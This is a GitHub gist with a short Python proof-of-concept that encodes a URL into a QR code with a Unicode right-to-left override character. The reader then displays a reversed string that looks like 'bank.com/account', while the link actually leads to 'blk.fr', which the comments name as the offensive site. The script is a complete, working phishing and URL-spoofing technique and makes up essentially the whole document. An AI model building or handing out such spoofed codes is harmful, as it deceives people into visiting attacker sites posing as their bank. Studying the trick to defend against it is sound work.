Skip to content

Instantly share code, notes, and snippets.

@glefait
Last active March 9, 2018 02:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save glefait/b23034cdc5acb2fba72eb6f084bd1c10 to your computer and use it in GitHub Desktop.
Save glefait/b23034cdc5acb2fba72eb6f084bd1c10 to your computer and use it in GitHub Desktop.
right to left unicode character to pown qrcode reader
# Use RTL unicode to trick QrCode reader
# Idea from Dylan Katz: https://twitter.com/Plazmaz
import qrcode
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=10,
border=4,
)
# blk.fr is the offensive website
# bank.com/account is the url that will presented in the right order
# user will see: bank.com/account/rf.klb//:sptth
# it will be redirected to https://blk.fr/tnuocca/moc.knab
qr.add_data(u'\u202e' + "https://blk.fr/{}".format("bank.com/account"[::-1]))
qr.make(fit=True)
img = qr.make_image()
img.show()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment